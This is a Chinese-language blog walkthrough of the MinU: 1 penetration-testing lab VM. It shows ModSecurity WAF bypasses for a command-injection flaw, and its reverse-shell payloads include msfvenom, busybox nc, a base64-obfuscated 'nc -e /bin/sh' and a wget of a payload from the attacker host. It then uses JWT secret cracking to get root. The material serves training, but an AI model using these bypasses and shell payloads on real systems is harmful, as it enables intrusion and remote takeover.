freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队渗透项目之MinU: 1
十七Seven 2023-01-13 14:29:27 117166
所属地 江西省

简介

该项目是8BitSec作者精心制作的环境,这是一个基于 Ubuntu 的虚拟机,并且已经使用 VirtualBox 进行了测试,要使用vb环境来搭建,而且由于作者将底层的网卡信息写死,只能使用桥接网卡的WiFi网卡来连接,连接之后会出现ip地址信息。目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到 信息收集 -> WEB信息枚举 -> 绕过WAF -> 内网信息收集 -> 提权,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、靶机网卡设置

开启靶机,网络选择桥接模式:

202209141346277.png

202209141346278.png

获取靶机IP:192.168.4.168

本机kali为192.168.4.139

202209141346279.png

2、nmap端口服务枚举

进行namp端口服务枚举:

nmap 192.168.4.168

202209141346280.png

只开启80web页面!

80/tcp  open     http

二、web信息枚举

1、web页面信息枚举

访问web页面:

http://192.168.4.168/

202209141346281.png

发现这是apache服务页面!

2、dirb目录爆破

用dirb基于字典对web目录进行爆破:

dirb http://192.168.4.168

202209141346282.png

发现大批量状态码报403,说明前端是存在安全防护机制的,可能存在WAF或防御脚本

筛选可访问的页面:

dirb http://192.168.4.168/ | grep 200

202209141346283.png

只有一个index.html返回的是200,访问发现就是刚才的主页,加大爆破力度!

使用dirb扫描的-X参数,提取特定扩展名的目录。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。

扫描下含有.PHP参数文件目录:

dirb http://192.168.4.168/ -X .php
-X .php    枚举.PHP文件

202209141346284.png

发下存在test.php!

+ http://192.168.4.168/test.php (CODE:200|SIZE:1986)

访问test.php目录地址:

http://192.168.4.168/test.php

202209141346285.png

提示:Read last visitor data 读取上次访问者数据

提示存在信息泄露!

点击提示后弹出:

http://192.168.4.168/test.php?file=last.html

202209141346286.png

回显地址: 一般情况下?file=  存在文件包含、sql注入。

尝试对URL进行构造:

http://192.168.4.168/test.php?file=../../../../../etc/passwd

202209141346287.png

报错403,结合前面爆破是大部分回显均为403,猜测是存在WAF,尝试命令注入。

三、绕过waf(多方法)

1、识别waf

WAFw00f是Python脚本,用于检测网络服务器是否处于网络应用的防火墙(WAF ,Web application firewall)保护状态。

WAFW00F进行探测 :

wafw00f http://192.168.4.168/test.php

202209141346288.png

回显存在WAF,但报错了,在老版本的wafw00f回显Web 应用程序防火墙:modsecurity (OWASP CRS)

ModSecurity waf!

ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙。它可以作为Apache Web服务器的一个模块或单独的应用程序来运行。ModSecurity的目的是为增强Web应用程序的安全性和保护Web应用程序避免遭受来自已知与未知的攻击。

绕过CRS:规则机制

1、可以安装在服务器

2、可以安装某个站目录底下

3、可以安装在PHP文件内

2、Fuzz模糊测试

Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。

Wfuzz工具模糊测试:

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.4.168/test.php?file=FUZZ    
file   文件
-c 输出颜色
-z payload

202209141346289.png

回显信息太多,过滤掉报错重新测试下:

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.4.168/test.php?file=FUZZ  
--hc  过滤隐藏响应码为404,403的返回结果。

202209141346290.png

202209141346291.png

剩下的就都是响应值为200的,此时就可以使用命令测试绕过waf。

3、绕过waf(|)

测试dir可绕过机制:

wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 403 http://192.168.4.168/test.php?file=FUZZ  | grep dir

202209141346292.png

回显“|”可绕过

用“|”测试执行命令:

http://192.168.4.168/test.php?file=|dir

202209141346293.png

看到 | 绕过waf,可以远程代码执行命令dir

4、绕过waf($u)

$绕过WAF,这种方式只是针对ModSecurity waf, 使用u来绕过waf ,u 然后执行命令, $u被视为空字符串。

首先我们使用msf生成一个shell:

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.40.139 lport=4455 -f elf > shell
cat shell

202209141346294.png

用python开启一个http服务:

python -m SimpleHTTPServer 8081

202209141346295.png

网页上传shell,并赋权

上传shell木马:
http://192.168.4.168/test.php?file=test; $u wget http://192.168.4.139:8081/shell -o /tmp/shell
查看是否上传成功:
http://192.168.4.168/test.php?file=test; $u ls -la /tmp/shell
权限低,赋权:
http://192.168.4.168/test.php?file=test; $u chmod 777 /tmp/shell

202209141346296.png

上传并赋权成功!

用nc监听4455端口,执行shell反弹

nc -vlp 4455
http://192.168.4.168/test.php?file=test; $u /tmp/shell

202209141346297.png

未反弹成功!发现上传的shell字符大于本地生成的,待解决!

5、绕过waf(;)

分号“;” 隔离绕过waf!

以文件形式去读的时候,加;就可以绕过

http://192.168.4.168/test.php?file=last.html;id

202209141346298.png

可以绕过!

因为PHP底下是有过滤器的,因为有过滤器才导致有文件包含,我们用过滤器读取了文件包含下的一个文件。

查询下过滤器信息:

http://192.168.4.168/test.php?file=--version

202209141346299.png

看到了过滤器信息是用cat过滤的, 可以一个文件开头读取信息,然后再绕过,可以用任意文件名 ; 可绕过

但是目前的两种绕过方式都只能执行部分命令,如果命令后面需要跟参数,就不行了。

测试下使用二进制绕过,可以在不受限制和不同的二进制文件中执行命令来绕过本地安全限制!

二进制文件的列表:

https://gtfobins.github.io/

202209141346300.png

最终发现:https://gtfobins.github.io/gtfobins/busybox/可以绕过waf

所以根据二进制绕过waf,就可以反弹shell到本地上。

利用二进制busybox反弹shell:

http://192.168.4.168/test.php?file=test;busybox nc 192.168.4.139 6666 -e sh

202209141346301.png

搜索发现没有安装python,但是安装了python3,通过python3获取稳定的shell,前提是bash模式

which python3 
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + z
stty raw -echo
fg

202209141346302.png

或者添加参数 -i 就可以直接获得正常稳定shell!

http://192.168.3.88/test.php?file=dayu;busybox nc 192.168.3.86 6666 -e sh -i

6、绕过waf(& )

使用& 来绕过waf,用url编码混淆来绕过waf。

&会过滤掉前面的命令,直接执行后面的命令。

尝试用“&” 绕过:

http://192.168.4.168/test.php?file=&id

202209141346303.png

不行!将&的URL编码为%26 ,尝试执行命令:

http://192.168.4.168/test.php?file=%26id

202209141346304.png

可以绕过WAF,远程执行命令

接下来混淆加密绕过反弹shell,使用base64加密混淆。

base64进行编译:

echo "nc -e /bin/sh 192.168.4.139 5566 " | base64

202209141346305.png

base64加密完会包含=,=被waf加入黑名单了,等号和你加密时的空格有关,可以在末尾添加空格,加密后等号就会去掉,如图下中的尝试。

末尾加空格绕过:

echo "nc -e /bin/sh 192.168.139 5566  " | base64

202209141346306.png

base64编码:bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTM5IDU1NjYgICAK

尝试执行访问:

http://192.168.4.168/test.php?file=26%/bin/echo bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzOSA1NTY2ICAK|/usr/bin/base64 -d|/bin/sh

202209141346307.png

访问报错!

继续尝试绕过,加?号,?问号在linux中以命令使用着,例如:/bin/echo可以通过替换一些字母来调用,/bin/ech?,仍然会执行相同的命令!

加?号执行(?号只能替换一个英文字符):

http://192.168.4.168/tst.php?file=%26/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzOSA1NTY2ICAK|/u?r/b?n/b?se64 -d|/bin/?h26%/bin/ech? bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEzOSA1NTY2ICAK=|/u?r/bin/b?se64 -d|/bin/?h

202209141346308.png

还是不起作用!继续混淆:在空格处编译为base64:%20

http://192.168.4.168/test.php?file=%26/bin/ech?%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjQuMTM5IDU1NjYgICAK|/u?r/b?n/b?se64 -d|/bin/?h

202209141346309.png

反弹shell成功!

四、内部信息收集

1、linpeas.sh信息枚举

本地用python开启http服务:

python -m SimpleHTTPServer 8081

202209141346310.png

上传linpeas.sh脚本并赋权执行:

wget http://192.168.4.139:8081/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

202209141346311.png

发现版本信息:

Linux version 4.13.0-39-generic  
Sudo version 1.8.20p2

202209141346312.png

内核漏洞可用45010.c ,但只能root权限使用gcc

发现新用户:

uid=1000(bob) gid=1000(bob) groups=1000(bob),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare)

202209141346313.png

有sudo权限,可以找到bob的密码,用sudo 提权,这里可以通过找寻密码或者是 制作密钥来直接ssh登录。但是这里发现不能创建文件。

2、隐藏文件下载

在 /home/bob/ 目录下找到一个隐藏文件:

202209141346314.png

/home/bob/.pw

来到目录下查看文件信息:

cd /home/bob
ls -la
cat ._pw_

202209141346315.png

PW内容:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

怀疑是个密匙!

通过python3,将.pw文件下载:

靶机开启http服务:

python3 -m http.server 8089

202209141346317.png

本地下载并更名

wget http://192.168.4.168:8089/._pw_
mv ._pw_ pw   #.开头的文件是隐藏文件,目录里看不到,所以改下名字

202209141346318.png

五、提权

1、JWT令牌分析

pw文件怀疑是一个密码base64解码看看

1)base64解码:

cat pw | base64 -d

202209141346319.png

第一部分枚举到信息是hs256、JWT?发现内容包含“.”点不是有效的base64字符

{"alg":"HS256","typ":"JWT"}base64: 输入无效

将第一个点号过滤,查看后面的信息:

cat pw | cut -d "." -f 2 | base64 -d

202209141346320.png

发现第二部分是1~0,人名,还是未解析完!

{"sub":"1234567890","name":"John Doe","iat":1516239022}base64: 输入无效

过滤第二个点号,查看后面的信息:

cat pw | cut -d "." -f 3 | base64 -d

202209141346321.png

发现第三部分是二进制!

�~y�P������"k��1�,��C��[}base64: 输入无效

2)JWT

将pw内容丢入谷歌,发现这是JWT(JSON Web 令牌),和第一部分验证的JWT一致。

JWT是一个开放的行业标准(RFC 7519),它定义了一种简介的、自包含的协议格式,用于在通信双方传递json对象,传递的信息经过数字签名可以被验证和信任。JWT可以使用HMAC算法或使用RSA的公 钥/私钥对来签名,防止被篡改。

也可以在线查看密匙信息:

https://jwt.io/#debugger

202209141346322.png

JWT 具有这种格式的三个部分:

标头(Header)、有效载荷(Payload)和签名(Signature)。在传输的时候,会将JWT的3部分分别进行Base64编码后用.进行连接形成最终传输的字符串

  1. header在 JSON 中指定算法和类型。
  1. payload指定令牌的声明,也在 JSON 中。
  1. signature是编码头和有效载荷的数字签名。

接下来我们要去对其密匙进行解密,解密方法有:

  • 可以使用解密工具c-jwt-cracker.git和wt-cracker
  • 在线解密https://jwt.io/#debugger

2、c-jwt-cracker工具解密

使用解密工具开始破解

下载c-jwt-cracker.git并编译为gcc利用:

proxychains git clone https://github.com/brendan-rius/c-jwt-cracker.git
或者用:https://github.com/lmammino/jwt-cracker

cd jwt-cracker
apt-get install libssl-dev
make   #编译gcc

202209141346323.png

202209141346324.png

202209141346325.png

执行jwtcrack解密:

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

202209141346326.png

获得root密码:mlnV1

Secret is "mlnV1"

登录root:

su root
mlnV1

202209141346327.png

获得root权限用户!

获得flag:root目录下存在flag.txt

cd root 
cat flag.txt

202209141346328.png

flag{c89031ac1b40954bb9a0589adcb6d174}

六、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap端口信息枚举、Web页面信息枚举、dirb目录爆破、多方法绕过WAF、linpeas.sh信息枚举、JWT令牌分析、c-jwt-cracker工具解密等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七

# 渗透测试 # web安全 # 系统安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 十七Seven 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
十七Seven LV.4
这家伙太懒了,还未填写个人描述!
  • 15 文章数
  • 72 关注者
红队渗透项目之zico2-1
2023-11-13
红队渗透项目之Node-1
2023-05-05
红队渗透项目之Mr-Robot: 1
2023-04-20
文章目录